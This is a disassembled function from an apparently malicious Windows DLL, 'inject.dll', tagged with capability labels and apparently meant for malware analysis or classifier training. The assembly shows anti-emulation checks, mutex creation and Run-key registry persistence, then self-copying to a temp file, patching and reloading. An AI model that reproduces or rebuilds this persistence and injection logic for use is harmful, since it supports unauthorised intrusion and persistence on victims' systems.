Function at 0x6f841f62
Capabilities:
Create thread
Persist via run registry key
Print debug messages
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc48
cmp dword [ebp + 0xc], 0
jne 0x6f841f78
mov al, 1
jmp 0x6f84234b
cmp dword [ebp + 0xc], 3
jne 0x6f841f85
mov al, 1
jmp 0x6f84234b
mov dword [esp], str.started_emulator_fuckup__waiting_for_finish..._n
call sub.KERNEL32.dll_OutputDebugStringA
sub esp, 4
mov al, byte [sym.inject.dll_IsPatched]
cmp al, 0x30
jne 0x6f84204e
call sym.inject.dll_GetKernel32
mov dword [sym.inject.dll_Kernel32Base], eax
call sym.inject.dll_ResolveDynamicImports
mov dword [ebp - 0xc], 0x14
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 1
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], str.dll__x__x__x_n
lea eax, [ebp - 0x814]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
lea eax, [ebp - 0x814]
mov dword [esp], eax
call sub.KERNEL32.dll_OutputDebugStringA
sub esp, 4
cmp dword [ebp + 0xc], 1
jne 0x6f842047
cmp dword [ebp - 0xc], 0x14
jne 0x6f842047
mov dword [esp], str.SUCCESS__n
call sub.KERNEL32.dll_OutputDebugStringA
sub esp, 4
mov eax, sym.inject.dll_Injecting
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.KERNEL32.dll_CreateThread
sub esp, 0x18
mov al, 1
jmp 0x6f84234b
mov dword [esp], str.finished1_emulator_fuckup__n
call sub.KERNEL32.dll_OutputDebugStringA
sub esp, 4
mov dword [esp + 8], str.systemsmssrvc
mov dword [esp + 4], 1
mov dword [esp], 0
call sub.KERNEL32.dll_CreateMutexA
sub esp, 0xc
mov dword [ebp - 0x10], eax
mov dword [esp], str.created_mutex_n
call sub.KERNEL32.dll_OutputDebugStringA
sub esp, 4
call sym.inject.dll_GetKernel32
mov dword [sym.inject.dll_Kernel32Base], eax
call sym.inject.dll_ResolveDynamicImports
mov dword [esp], str.resolved_imports_n
call sub.KERNEL32.dll_OutputDebugStringA
sub esp, 4
mov edx, dword [sym.inject.dll___WaitForSingleObject]
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call edx
sub esp, 8
mov dword [esp], str.waited_for_mutex_n
call sub.KERNEL32.dll_OutputDebugStringA
sub esp, 4
mov eax, dword [sym.inject.dll_IsStarted]
test eax, eax
je 0x6f8420e4
mov al, 0
jmp 0x6f84234b
mov dword [esp], str.antiemuling..._n
call sub.KERNEL32.dll_OutputDebugStringA
sub esp, 4
mov dword [ebp - 0xc], 0x14
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 1
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], str.copydll__x__x__x_n
lea eax, [ebp - 0x814]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
lea eax, [ebp - 0x814]
mov dword [esp], eax
call sub.KERNEL32.dll_OutputDebugStringA
sub esp, 4
cmp dword [ebp + 0xc], 1
jne 0x6f84233b
cmp dword [ebp - 0xc], 0x14
jne 0x6f84233b
mov dword [esp], str.started__n
call sub.KERNEL32.dll_OutputDebugStringA
sub esp, 4
mov al, byte [sym.inject.dll_szIsAutoload]
cmp al, 0x31
jne 0x6f842201
mov edx, dword [sym.inject.dll___wsprintf]
mov dword [esp + 8], sym.inject.dll_szAutoloadPath
mov dword [esp + 4], str.__s_
lea eax, [ebp - 0xc28]
mov dword [esp], eax
call edx
mov edx, dword [sym.inject.dll___RegOpenKey]
lea eax, [ebp - 0x14]
mov dword [esp + 8], eax
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000002
call edx
sub esp, 0xc
mov edx, dword [sym.inject.dll___lstrlen]
lea eax, [ebp - 0xc28]
mov dword [esp], eax
call edx
sub esp, 4
mov ecx, eax
lea edx, [ebp - 0xc28]
mov eax, dword [ebp - 0x14]
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], sym.inject.dll_szAutoloadName
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegSetValueExA
sub esp, 0x18
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
mov edx, dword [sym.inject.dll___GetModuleFileName]
mov dword [esp + 8], 0x105
lea eax, [ebp - 0x919]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call edx
sub esp, 0xc
mov dword [esp], str.our_path:_n
call sub.KERNEL32.dll_OutputDebugStringA
sub esp, 4
lea eax, [ebp - 0x919]
mov dword [esp], eax
call sub.KERNEL32.dll_OutputDebugStringA
sub esp, 4
mov edx, dword [sym.inject.dll___GetTempPath]
lea eax, [ebp - 0xb23]
mov dword [esp + 4], eax
mov dword [esp], 0x105
call edx
sub esp, 8
mov edx, dword [sym.inject.dll___GetTempFileName]
lea eax, [ebp - 0xa1e]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0x6f844339
lea eax, [ebp - 0xb23]
mov dword [esp], eax
call edx
sub esp, 0x10
mov dword [esp], str.copy_path:_n
call sub.KERNEL32.dll_OutputDebugStringA
sub esp, 4
lea eax, [ebp - 0xa1e]
mov dword [esp], eax
call sub.KERNEL32.dll_OutputDebugStringA
sub esp, 4
mov edx, dword [sym.inject.dll___CopyFile]
mov dword [esp + 8], 0
lea eax, [ebp - 0xa1e]
mov dword [esp + 4], eax
lea eax, [ebp - 0x919]
mov dword [esp], eax
call edx
sub esp, 0xc
mov dword [esp], str.patching_n
call sub.KERNEL32.dll_OutputDebugStringA
sub esp, 4
lea eax, [ebp - 0xa1e]
mov dword [esp], eax
call sym.inject.dll_PatchDLL
mov dword [esp], str.patched__loading..._n
call sub.KERNEL32.dll_OutputDebugStringA
sub esp, 4
mov edx, dword [sym.inject.dll___LoadLibrary]
lea eax, [ebp - 0xa1e]
mov dword [esp], eax
call edx
sub esp, 4
mov dword [esp], str.loaded_n
call sub.KERNEL32.dll_OutputDebugStringA
sub esp, 4
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.KERNEL32.dll_ReleaseMutex
sub esp, 4
mov dword [sym.inject.dll_IsStarted], 1
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.KERNEL32.dll_ReleaseMutex
sub esp, 4
mov al, 0
leave
ret 0xc